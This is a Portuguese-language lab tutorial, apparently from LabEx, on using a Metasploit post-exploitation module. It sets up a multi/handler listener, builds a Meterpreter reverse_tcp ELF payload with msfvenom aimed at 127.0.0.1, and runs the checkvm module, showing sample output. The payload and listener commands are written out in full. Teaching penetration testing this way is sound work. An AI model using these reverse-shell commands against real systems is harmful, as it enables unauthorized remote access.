Introdução
Pós-exploração é a fase em um teste de penetração que ocorre após um atacante ter obtido acesso inicial a um sistema alvo. Durante esta fase, o objetivo é coletar mais informações, escalar privilégios, pivotar para outros sistemas e manter acesso persistente. O Metasploit Framework fornece uma vasta coleção de módulos de pós-exploração para automatizar essas tarefas.
Neste laboratório, você aprenderá o fluxo de trabalho fundamental para usar um módulo de pós-exploração no Metasploit. Você começará estabelecendo uma sessão Meterpreter, depois procurará um módulo adequado, o configurará e o executará contra a sessão ativa para coletar informações sobre o sistema alvo. Usaremos o módulo post/linux/gather/checkvm como exemplo, que tenta determinar se o host comprometido é uma máquina virtual.
Ter uma sessão Meterpreter ativa
Nesta etapa, você configurará um listener no Metasploit e executará um payload para simular um host comprometido se conectando de volta, criando assim uma sessão Meterpreter ativa. Esta sessão é o pré-requisito para executar qualquer módulo de pós-exploração.
Primeiro, vamos iniciar o console do Metasploit Framework. Abra um terminal e digite:
msfconsole -q
O flag -q torna o banner de inicialização silencioso. Assim que estiver no prompt msf6 >, configuraremos um listener. Usaremos um handler genérico e um payload Meterpreter para Linux.
Digite os seguintes comandos no prompt do msfconsole:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
Agora, execute o listener como um job em segundo plano usando exploit -j:
exploit -j
Você deverá ver uma confirmação de que o handler foi iniciado.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Agora, abra um novo terminal (você pode usar o botão + na barra de abas do terminal). Neste novo terminal, geraremos e executaremos o payload que se conecta de volta ao nosso listener. Usaremos msfvenom para criar um arquivo executável para Linux.
No segundo terminal, execute este comando para criar o payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf
Este comando cria um arquivo ELF (Executable and Linkable Format) chamado shell.elf no seu diretório ~/project.
Em seguida, torne o arquivo executável:
chmod +x ~/project/shell.elf
Finalmente, execute o payload para estabelecer a sessão:
./shell.elf
Agora, volte para o seu primeiro terminal (aquele com msfconsole). Você deverá ver uma mensagem indicando que uma nova sessão foi criada.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400
Para confirmar, você pode listar todas as sessões ativas com o comando sessions.
sessions
Você verá sua sessão ativa listada, o que significa que você está pronto para a próxima etapa.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)
Colocar a sessão em segundo plano e usar o comando search para módulos post
Nesta etapa, você aprenderá como interagir com sua nova sessão e, em seguida, retornar ao prompt principal do msfconsole para procurar módulos de pós-exploração.
Após o comando sessions, você estará no prompt msf6 >. Para interagir com a sessão, use o comando sessions -i seguido pelo ID da sessão.
sessions -i 1
Seu prompt mudará para meterpreter >, indicando que você agora está dentro da sessão do sistema comprometido.
[*] Starting interaction with 1...
meterpreter >
Para executar um módulo de pós-exploração, você precisa estar no prompt principal msf6 >. Para deixar a sessão Meterpreter ativa, mas retornar ao console principal, use o comando background.
background
Você verá uma mensagem confirmando que a sessão está em execução em segundo plano, e seu prompt retornará para msf6 >.
[*] Backgrounding session 1...
msf6 >
Agora, você pode procurar por módulos de pós-exploração usando o comando search. Este comando é muito poderoso e pode filtrar módulos por tipo, plataforma, nome e muito mais. Para encontrar módulos que verificam máquinas virtuais, você pode procurar pela palavra-chave checkvm.
search checkvm
O Metasploit listará todos os módulos que correspondem à palavra-chave.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/linux/gather/checkvm normal No Linux Gather Virtual Machine Environment Detection
1 post/windows/gather/checkvm normal No Windows Gather Virtual Machine Environment Detection
...
Isso nos mostra que existem módulos tanto para Linux quanto para Windows. Como nossa sessão está em um alvo Linux, usaremos post/linux/gather/checkvm.
Selecionar um módulo de pós-exploração como post/linux/gather/checkvm
Nesta etapa, você selecionará o módulo de pós-exploração que encontrou na etapa anterior e visualizará suas opções de configuração.
Para selecionar ou "usar" um módulo no Metasploit, você usa o comando use seguido pelo nome completo do módulo. Com base nos nossos resultados de pesquisa, usaremos post/linux/gather/checkvm.
use post/linux/gather/checkvm
Seu prompt mudará para refletir o módulo atualmente selecionado.
msf6 post(linux/gather/checkvm) >
Uma vez que um módulo é selecionado, você deve sempre verificar suas opções para ver o que precisa ser configurado. O comando show options exibirá todas as configurações disponíveis para o módulo atual.
show options
A saída mostrará as opções do módulo, suas configurações atuais e se elas são obrigatórias.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Como você pode ver, a opção SESSION é obrigatória, mas ainda não tem um valor. Esta opção informa ao Metasploit contra qual de suas sessões ativas o módulo deve ser executado.
Definir a opção SESSION para o ID da sua sessão ativa
Nesta etapa, você configurará a opção SESSION obrigatória para o módulo de pós-exploração.
Das etapas anteriores, sabemos que nossa sessão ativa tem o ID 1. Precisamos fornecer este ID ao módulo. O comando set é usado para configurar as opções do módulo.
Para definir a opção SESSION como 1, execute o seguinte comando:
set SESSION 1
Você deverá ver uma confirmação de que o valor foi definido.
SESSION => 1
Para ter certeza, você pode executar show options novamente para verificar se a opção SESSION agora está configurada corretamente.
show options
A saída agora mostrará 1 como a configuração atual para SESSION.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Com a opção SESSION definida, o módulo está agora pronto para ser executado.
Executar o módulo e analisar os resultados
Nesta etapa, você executará o módulo de pós-exploração configurado e analisará sua saída.
Com o módulo selecionado e todas as opções obrigatórias definidas, você pode executá-lo. No Metasploit, você pode usar o comando run ou exploit para executar um módulo. Para módulos de pós-exploração, run é convencionalmente usado.
run
O módulo será executado na sessão alvo (Sessão 1). Ele realizará suas verificações e imprimirá os resultados no seu console. O ambiente LabEx é executado dentro de um ambiente virtualizado, portanto, você deverá ver um resultado positivo.
[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed
Análise dos resultados:
A saída indica claramente que o sistema alvo é detectado como uma máquina virtual Xen e KVM/QEMU. Esta é uma inteligência valiosa para um testador de penetração. Saber que um alvo está virtualizado pode influenciar ações futuras, como procurar por vulnerabilidades de escape de VM ou entender a infraestrutura subjacente.
Você agora executou com sucesso seu primeiro módulo de pós-exploração!
Resumo
Neste laboratório, você aprendeu o fluxo de trabalho essencial para usar módulos de pós-exploração dentro do Metasploit Framework. Você realizou com sucesso todo o processo, desde o estabelecimento de um ponto de apoio até a coleta de inteligência sobre o sistema alvo.
Você aprendeu a:
- Criar um listener e estabelecer uma sessão Meterpreter.
- Colocar uma sessão ativa em segundo plano para retornar ao prompt principal do
msfconsole. - Usar o comando
searchpara encontrar módulos de pós-exploração relevantes. - Selecionar um módulo com o comando
usee visualizar suas configurações comshow options. - Configurar um módulo definindo a opção
SESSIONnecessária. - Executar o módulo com o comando
rune analisar sua saída.
Esta habilidade fundamental é um bloco de construção para atividades de pós-exploração mais avançadas, como escalonamento de privilégios, coleta de credenciais e movimento lateral pela rede.


